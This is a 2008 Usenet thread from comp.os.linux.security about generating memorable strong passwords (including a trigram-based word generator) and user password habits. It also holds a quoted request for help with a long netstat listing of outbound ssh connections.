>wget http://www.theory.physics.ubc.ca/wgen/wgen.c
>--2008-09-25 12:12:41--  http://www.theory.physics.ubc.ca/wgen/wgen.c
>Resolving www.theory.physics.ubc.ca... 142.103.234.29
>Connecting to www.theory.physics.ubc.ca|142.103.234.29|:80... connected.
>HTTP request sent, awaiting response... 403 Forbidden
>2008-09-25 12:12:41 ERROR 403: Forbidden.

Oops. Corrected now.
0
Reply Unruh 9/25/2008 5:34:53 PM

Moe Trin wrote:

> On Tue, 23 Sep 2008, in the Usenet newsgroup comp.os.linux.security,

.....
> 
> The sticky-note on the monitor, or on the bottom of the keyboard (or
> mouse) had a fairly short life here - we got tagged in a government
> security audit many years ago, and there was hell to pay.  We _try_ to
> help our users by having a regular hand-out that shows ways to create
> and remember more difficult passwords - the "n'th letter of the words
> of a phrase/song" seems to be tolerable, and a heck of a lot more
> secure than the phone number of the bookie, pizza-joint, or what-ever.
> 
>         Old guy

If you have people using a lot of different passwords each, or several,
want them to remain unique, but be secure, then in an office
environment, I always have complex passwords, but simply have the user
keep them in a PGP encrypted file that they would use their one single
complex, yet easily enough to remember, password for viewing.  But, of
course, there are always problems with trying to get an office or
company full of people to remember passwords and store them safely.
-- 
Tim Greer, CEO/Founder/CTO, BurlyHost.com, Inc.
Shared Hosting, Reseller Hosting, Dedicated & Semi-Dedicated servers
and Custom Hosting.  24/7 support, 30 day guarantee, secure servers.
Industry's most experienced staff! -- Web Hosting With Muscle!
0
Reply Tim 9/25/2008 7:09:37 PM

Unruh wrote:

> http:www.theory.physics.ubc.ca/wgen/wgen.c or

Hrmmm.... not a complaint, but a suggestion for documentation:

   : alcor[syl] ~; make wgen
   cc     wgen.c   -o wgen
   /tmp/ccxv11ko.o: In function `main':
   wgen.c:(.text+0x8e7): undefined reference to `log'
   wgen.c:(.text+0xb35): undefined reference to `log'
   wgen.c:(.text+0xbd6): undefined reference to `log'
   wgen.c:(.text+0xc23): undefined reference to `log'
   wgen.c:(.text+0xc64): undefined reference to `log'
   /tmp/ccxv11ko.o:wgen.c:(.text+0xcb1): more undefined references to `log' follow
   collect2: ld returned 1 exit status
   make: *** [wgen] Error 1
   : alcor[syl] ~; cc -lm wgen.c -o wgen
   : alcor[syl] ~; ./wgen 
   total trigrms= 4206391 raw ent= 2.119955e+06 tcount = 352846
   Max length=10 Number=20, Entropy3=9.760737 Entropy4=12.250720
   ...

Again, thank you.

-- 
----------------------------------------------------------------------
Sylvain Robitaille                              syl@alcor.concordia.ca

Network and Systems analyst                       Concordia University
Instructional & Information Technology        Montreal, Quebec, Canada
----------------------------------------------------------------------
0
Reply Sylvain 9/25/2008 7:36:52 PM

Tim Greer wrote:
> Moe Trin wrote:
> 
>> On Tue, 23 Sep 2008, in the Usenet newsgroup comp.os.linux.security,
> 
> ....
>> The sticky-note on the monitor, or on the bottom of the keyboard (or
>> mouse) had a fairly short life here - we got tagged in a government
>> security audit many years ago, and there was hell to pay.  We _try_ to
>> help our users by having a regular hand-out that shows ways to create
>> and remember more difficult passwords - the "n'th letter of the words
>> of a phrase/song" seems to be tolerable, and a heck of a lot more
>> secure than the phone number of the bookie, pizza-joint, or what-ever.
>>
>>         Old guy
> 
> If you have people using a lot of different passwords each, or several,
> want them to remain unique, but be secure, then in an office
> environment, I always have complex passwords, but simply have the user
> keep them in a PGP encrypted file that they would use their one single
> complex, yet easily enough to remember, password for viewing.  But, of
> course, there are always problems with trying to get an office or
> company full of people to remember passwords and store them safely.

Heh. I'm remembering a password based on 'The curious incident of the dog in 
the night-time', where the password owner was talking about the book, and 
didn't know that it's a famous Sherlock Holmes quote.
0
Reply Nico 9/26/2008 8:02:42 AM

On Thu, 25 Sep 2008, in the Usenet newsgroup comp.os.linux.security, in article
<gDOCk.1757$Pv5.1318@edtnps83>, Unruh wrote:

>You might want to use my program wgen which generates "words" based
>on a dictionary. It takes the dictionary and calculates the occurance
>of the "trigrams-- combinations of three letters, including a double
>init to indicate the beginning of the word.

You demonstrated that in one of the Usenet newsgroups some time ago,
and one of our admins adopted your concept - it's one of the choices
offered on that handout (there are others, including 'intermingling'
letters from two or more words, as in CdAoTg). I don't know that we
can tell what mechanism the individual has chosen to form their
password.  The internal (company) auditors have run something similar
to John-the-Ripper to see if st00pid passwords are used anywhere. They
haven't clouded up and crapped all over us, so apparently they're not
have a significant amount of luck guessing passwords.

>Throw in a few capitals or even punctuation, and you might get that
>up to 45 (but it is harder than you think to "throw in random
>punctuation"..

Someone has done statistics and found that in those situations
"requiring" a capital letter, the result is almost always the first
letter, rarely the second.  When punctuation and a digit is required,
the result is usually a password ending in ".1".  Users are somewhat
predictable.  The problem is quite simple - the password has to be
rememberable - that _USUALLY_ means it has some memory jogger
characteristics. Being pronounceable is one, being formed from some
manipulations of words/phrases/what-ever that are themselves
memorable is another.   Unfortunately, it's also true that the most
common passwords are memorable to a user because the components that
make up the password (and more often, the password itself) is
meaningful/related specifically to that user.

>It is also better to use longer dictionaries (I have one with 400,000
>words) as it makes rarer combinations more likely.

[selene ~]$ cat /net/james.webb/downloads/mwords/[0-9u]* | sort -uf | wc -l
 602351
[selene ~]$

http://www.dcs.shef.ac.uk/research/ilash/Moby

        Old guy
0
Reply ibuprofin 9/26/2008 7:58:33 PM

On Fri, 26 Sep 2008, in the Usenet newsgroup comp.os.linux.security, in article
<48DC9722.7080007@gmail.com>, Nico Kadel-Garcia wrote:

>Tim Greer wrote:

>> Moe Trin wrote:

>>> We _try_ to help our users by having a regular hand-out that shows
>>> ways to create and remember more difficult passwords - the "n'th
>>> letter of the words of a phrase/song" seems to be tolerable, and a
>>> heck of a lot more secure than the phone number of the bookie,
>>> pizza-joint, or what-ever.

>> If you have people using a lot of different passwords each, or
>> several, want them to remain unique, but be secure, then in an
>> office environment, I always have complex passwords, but simply have
>> the user keep them in a PGP encrypted file that they would use their
>> one single complex, yet easily enough to remember, password for
>> viewing.

We do suggest this, but primarily that's for "home" use. We use a
central authentication scheme, so (for example) I have to remember
four usernames (the normal one, plus three "role" usernames), and
four authentication tokens. I'm using the ""n'th letter of words"
style, with recent passwords derived from pre-WW2 Broadway show, movie.
and period songs - hey, it's something _I_ can remember  ;-)

>>But, of course, there are always problems with trying to get an
>>office or company full of people to remember passwords and store them
>>safely.

especially when people can't see a (direct) reason for all this
hassle.  How soon people forget the (windoze) "Deloader" worm.

>Heh. I'm remembering a password based on 'The curious incident of the
>dog in the night-time', where the password owner was talking about
>the book, and didn't know that it's a famous Sherlock Holmes quote.

"Sherlock" who???    ;-)  I can't even _remember_ when I read that...
and only vaguely remember the clue Holmes was talking about... wasn't
that the fact that the dog didn't bark, and Holmes inferred that it
was the dogs owner or something...    Lessee, that was "Silver Blaze"
according to the local library search engine.  A quick search in their
on-line catalog says that the book ("The memoirs of Sherlock Holmes")
is currently checked in at the main library down-town... and I also own
a copy, but it's hidden somewhere in my sister's house on the other
side of the continent.

        Old guy
0
Reply ibuprofin 9/26/2008 8:01:05 PM

Moe Trin wrote:
> On Fri, 26 Sep 2008, in the Usenet newsgroup comp.os.linux.security, in article
> <48DC9722.7080007@gmail.com>, Nico Kadel-Garcia wrote:

>> Heh. I'm remembering a password based on 'The curious incident of the
>> dog in the night-time', where the password owner was talking about
>> the book, and didn't know that it's a famous Sherlock Holmes quote.
> 
> "Sherlock" who???    ;-)  I can't even _remember_ when I read that...
> and only vaguely remember the clue Holmes was talking about... wasn't
> that the fact that the dog didn't bark, and Holmes inferred that it
> was the dogs owner or something...    Lessee, that was "Silver Blaze"
> according to the local library search engine.  A quick search in their
> on-line catalog says that the book ("The memoirs of Sherlock Holmes")
> is currently checked in at the main library down-town... and I also own
> a copy, but it's hidden somewhere in my sister's house on the other
> side of the continent.

It's also a famous quote, famous enough to name a book title for it, that is 
an excellent tool in investigating security incidents. I consider it, 
therefore, a relevant quote for this newsgroup. The idea that the systems 
didn't hiccup when interfered with, and that it was therefore an inside job, 
has stood me in good stead over the years.
0
Reply Nico 9/27/2008 2:26:34 AM

On Fri, 19 Sep 2008 07:17:01 -0700, Anon E. Muss wrote:

> I recently noticed excessive acitivity on my router's activity LED and
> did a little investigating.  As immediate action, I used a big hammer
> and firewalled off 218/8 until I can figure out what is going on here.
> Yesterday, it was 201/8.
> 
> Below is most of output of netstat.  Can someone let me know what is
> going on here?  SynFlood??  Also, any suggestions??
> 
> ===== BEGIN =====
> Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local
> Address               Foreign Address State tcp        0      0
> x-xx-x-xx-xx.xxxxxxxx:37775 218.25.160.246:ssh TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.lsa:safetynetp 218.25.17.78:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57080 218.25.228.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47493 218.25.164.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55216 218.25.23.202:ssh
> TIME_WAIT
> tcp        1      1 x-xx-x-xx-xx.xxxxxxxx:35938 218.22.134.190:ssh
> LAST_ACK
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39028 218.25.200.50:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51003 218.23.19.146:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59585 218.25.108.11:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59673 218.25.125.57:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53762 218.25.42.230:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48582 218.25.164.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56311 218.25.105.156:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59068 218.25.68.131:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50593 218.24.134.59:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43444 218.25.16.243:ssh
> FIN_WAIT2
> tcp        0    144 x-xx-x-xx-xx.xxxxxxxx:57082 218.25.131.55:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35755 218.25.16.80:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50585 218.25.72.50:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33870 218.24.136.208:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37288 218.25.90.18:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47056 218.25.36.155:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51429 218.25.62.117:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58097 218.25.10.90:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51884 218.25.62.117:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35544 218.22.134.190:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51054 218.25.164.67:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41542 218.25.200.50:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55323 218.25.90.18:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34829 218.22.134.190:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40940 218.25.10.96:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34398 218.22.134.190:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44125 218.25.160.246:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50068 218.25.129.2:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56645 218.25.10.146:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54662 218.25.36.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58924 218.25.57.36:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60523 218.25.88.164:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56838 218.25.228.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49033 218.25.82.35:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48851 218.25.91.198:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:32970 218.25.88.164:ssh
> TIME_WAIT
> tcp        1      1 x-xx-x-xx-xx.xxxxxxxx:58091 218.25.22.130:ssh
> CLOSING
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45377 www.huachu.com.cn:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39854 218.25.160.246:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56368 218.25.23.202:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40340 218.25.10.189:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41732 218.25.42.214:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41449 218.25.23.234:ssh
> TIME_WAIT
> tcp        0     68 x-xx-x-xx-xx.xxxxxxxx:50518 218.25.62.114:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57437 218.25.69.163:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60294 218.25.42.214:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47893 218.25.227.49:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44896 218.25.17.68:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42777 218.25.20.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38397 218.25.59.247:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49095 218.25.227.49:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49746 218.25.30.122:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52335 218.25.42.230:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49461 218.25.72.50:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37801 218.25.17.77:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38687 218.25.107.94:ssh
> TIME_WAIT
> tcp        0      1 x-xx-x-xx-xx.xxxxxxxx:56378 218.25.10.17:ssh
> SYN_SENT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36641 218.25.62.115:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46728 218.25.240.214:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47649 218.25.91.198:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35772 218.25.246.116:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55864 218.25.101.146:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37397 218.25.62.115:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59027 218.22.134.190:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37125 218.25.57.18:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41737 218.25.62.116:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56882 218.25.23.202:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35799 218.22.134.190:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47044 218.24.148.167:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53872 218.25.42.230:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41543 218.24.143.5:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53433 218.25.16.80:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42741 218.25.76.53:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58012 218.25.228.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42430 218.25.10.97:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36092 218.22.134.190:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50163 218.25.17.77:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:32851 218.25.88.164:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36355 218.25.18.199:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53809 218.25.227.65:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58463 218.25.59.190:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57728 218.25.116.166:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52352 218.25.62.117:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56549 218.25.105.83:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53136 218.25.170.140:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48916 218.25.30.122:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46488 218.25.36.155:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36055 218.25.20.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58452 218.25.68.131:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41468 218.23.19.146:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46261 218.25.240.214:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43136 218.25.20.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53043 218.25.62.90:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39362 218.25.107.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41362 218.25.10.97:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45857 218.25.10.17:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40498 218.25.57.18:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37745 218.24.6.230:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59989 218.25.170.23:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37281 218.25.62.115:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54428 218.25.42.230:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37513 218.25.81.250:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60183 218.25.62.116:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45406 218.25.10.17:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59714 218.25.170.23:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33094 218.25.62.116:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48229 mail.sami.com.cn:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46949 218.25.200.50:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51745 218.24.190.206:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42422 218.25.82.6:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46936 218.24.148.167:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56740 218.25.105.83:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49744 218.25.17.77:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43153 218.25.23.234:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37127 218.25.105.83:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42805 218.25.227.65:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55940 218.25.240.214:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41968 218.25.20.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42458 218.25.48.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50818 218.25.72.50:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59115 218.25.17.68:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42158 218.25.170.133:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36337 218.25.36.93:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51488 218.24.190.206:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53331 218.25.227.65:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53769 218.25.82.35:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57953 218.25.81.58:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45362 218.25.16.243:ssh
> FIN_WAIT2
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51115 218.25.30.122:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43343 218.25.20.40:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37971 218.25.62.115:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54829 218.25.227.81:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51441 218.25.10.96:ssh
> ESTABLISHED
> tcp        0     20 x-xx-x-xx-xx.xxxxxxxx:55845 218.25.88.164:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56830 218.25.10.17:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40489 218.25.131.134:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36338 218.25.234.46:ssh
> TIME_WAIT
> tcp        0     20 x-xx-x-xx-xx.xxxxxxxx:37069 218.25.62.117:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38589 218.25.59.247:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54000 218.25.227.65:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59130 218.22.134.190:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36857 218.25.234.46:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38059 218.25.62.115:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53213 218.25.170.140:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58427 218.25.116.166:ssh
> TIME_WAIT
> tcp        0     52 x-xx-x-xx-xx.xxxxxxxx:33872 218.25.10.51:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42927 218.25.227.65:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58239 218.25.170.23:ssh
> TIME_WAIT
> tcp        0      1 x-xx-x-xx-xx.xxxxxxxx:52327 218.23.251.226:ssh
> SYN_SENT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45452 218.25.17.68:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46075 218.25.227.97:ssh
> TIME_WAIT
> tcp        0     68 x-xx-x-xx-xx.xxxxxxxx:60270 218.25.170.23:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46256 218.25.227.97:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51374 218.24.190.206:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55254 218.25.42.213:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39173 218.25.23.202:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33748 218.25.28.250:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44023 218.25.20.40:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53602 218.25.10.4:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38387 218.25.107.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40877 218.25.57.18:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51054 218.25.30.122:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35155 218.25.14.33:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34912 218.25.18.199:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57791 218.25.69.163:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47426 218.25.246.116:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44446 218.25.105.156:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43990 218.25.108.11:ssh
> ESTABLISHED
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58614 218.25.22.130:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60963 218.25.27.37:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44349 218.25.160.246:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51297 218.25.42.213:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39717 218.25.10.90:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35154 218.25.101.146:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33055 218.25.82.6:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51410 218.25.42.213:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50879 218.25.62.114:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37879 218.25.62.115:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53561 218.25.62.90:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47967 218.25.107.94:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56740 218.25.10.17:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52958 218.25.62.90:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51584 218.25.30.122:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60973 218.25.228.66:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39797 218.25.76.58:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50985 218.24.134.59:ssh
